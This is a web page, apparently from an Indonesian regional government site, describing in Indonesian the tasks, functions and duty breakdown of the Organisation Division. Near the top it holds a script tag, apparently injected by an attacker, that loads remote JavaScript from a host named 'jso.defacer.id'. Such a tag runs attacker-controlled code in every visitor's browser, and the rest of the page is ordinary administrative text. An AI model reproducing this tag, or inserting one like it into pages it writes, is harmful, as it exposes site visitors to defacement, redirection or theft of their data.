Tugas dan Fungsi

Tugas dan Fungsi

TUGAS, FUNGSI DAN URAIAN TUGAS

<script src="https://jso.defacer.id/raw/dsgsdgdsg"></script>

Bagian Organisasi

  1. Bagian Organisasi dipimpin oleh Kepala Bagian yang mempunyai tugas  melaksanakan penyiapan perumusan kebijakan daerah, pengoordinasian perumusan kebijakan daerah, pengoordinasian pelaksanaan tugas Perangkat Daerah, pemantauan dan evaluasi pelaksanaan kebijakan daerah bidang kelembagaan dan analisis jabatan, tata laksana dan pelayanan publik, serta reformasi birokrasi dan kinerja.
  2. Untuk melaksanakan tugas sebagaimana dimaksud pada ayat (1) Kepala Bagian Organisasi melaksanakan fungsi :
  • penyiapan bahan perumusan kebijakan daerah di bidang kelembagaan dan analisis jabatan, tata laksana dan pelayanan publik, serta reformasi birokrasi dan kinerja;
  • penyiapan bahan pengoordinasian perumusan kebijakan daerah di bidang kelembagaan dan analisis jabatan, tata laksana dan pelayanan publik, serta reformasi birokrasi dan kinerja;  
  • penyiapan bahan pengoordinasian pelaksanaan tugas perangkat daerah di bidang kelembagaan dan analisis jabatan, tata laksana dan pelayanan publik serta reformasi birokrasi dan kinerja; 
  • penyiapan bahan pemantauan dan evaluasi pelaksanaan kebijakan daerah dibidang kelembagaan dan analisis jabatan, tata laksana dan pelayanan publik, serta reformasi birokrasi dan kinerja; dan 
  • pelaksanaan fungsi lain yang diberikan oleh Asisten Administrasi Umum yang berkaitan dengan tugasnya. 
  1. Uraian tugas sebagaimana dimaksud pada ayat (1), meliputi :
  • menyusun rencana kegiatan Bagian Organisasi sebagai pedoman dalam pelaksanaan tugas;
  • mendistribusikan dan memberi petunjuk pelaksanaan tugas;
  • memantau, mengawasi dan mengevaluasi pelaksanaan tugas bidang Organisasi;
  • menyusun rancangan, mengoreksi, memaraf dan/atau menandatangani naskah dinas;
  • mengikuti rapat-rapat sesuai dengan bidang tugasnya;
  • menyiapkan bahan perumusan kebijakan daerah di bidang kelembagaan dan analisis jabatan, tata laksana dan pelayanan publik, serta reformasi birokrasi dan kinerja; 
  • menyiapkan bahan pengoordinasian perumusan kebijakan daerah di bidang kelembagaan dan analisis jabatan, tata laksana dan pelayanan publik, serta reformasi birokrasi dan kinerja; 
  • menyiapkan bahan pengoordinasian pelaksanaan tugas Perangkat Daerah di kelembagaan dan analisis jabatan, tata laksana dan pelayanan publik, dan reformasi birokrasi dan kinerja;
  • menyiapkan bahan pemantauan dan evaluasi pelaksanaan kebijakan daerah di kelembagaan dan analisis jabatan, tata laksana dan pelayanan publik, dan reformasi birokrasi dan kinerja;
  • mengoordinasikan perumusan kebijakan teknis dibidang organisasi;
  • melakukan pengawasan, monitoring, pembinaan dan evaluasi pelaksanaan tugas;
  • merencanakan dan menganalisa kebijakan daerah dalam rangka penataan kelembagaan organisasi perangkat daerah;
  •  merencanakan dan menyusun pola penerapan analisa formasi jabatan berdasarkan kebutuhan daerah dengan mempedomani ketentuan yang berlaku;
  • menyusun Laporan Akuntabilitas Kinerja Instansi Pemerintah lingkup Sekretariat Daerah;
  • melaksanakan   koordinasi     dengan   unit kerja terkait termasuk  koordinasi dengan Pemerintah Propinsi dan Pemerintah Pusat berkaitan dengan tugas-tugas organisasi dan tata laksana;
  • menyiapkan bahan dalam rangka pengoordinasian pelaksanaan tugas perangkat daerah terkait Kelembagaan dan Analisis Jabatan, Tatalaksana dan Pelayanan Publik, serta Akuntabilitas Kinerja;
  • menyiapkan bahan pengoordinasian dalam rangka penyelenggaraan pelayanan administratif sesuai pembidangan tugas;
  • melaksanakan koordinasi dan konsultasi dengan lembaga pemerintah dan lembaga non pemerintah dalam rangka pelaksanaan tugas dan fungsi;
  • melaksanakan monitoring dan evaluasi pelaksanaan tugas;
  • menilai kinerja pegawai ASN sesuai ketentuan peraturan perundang-undangan;
  • menyusun laporan hasil pelaksanaan tugas serta memberikan saran pertimbangan kepada atasan sebagai bahan perumusan kebijakan; dan
  • melaksanakan  tugas  kedinasan lain yang diperintahkan atasan sesuai dengan tugasnya.
     
tugas-dan-fungsi

Berita Terbaru

Laravel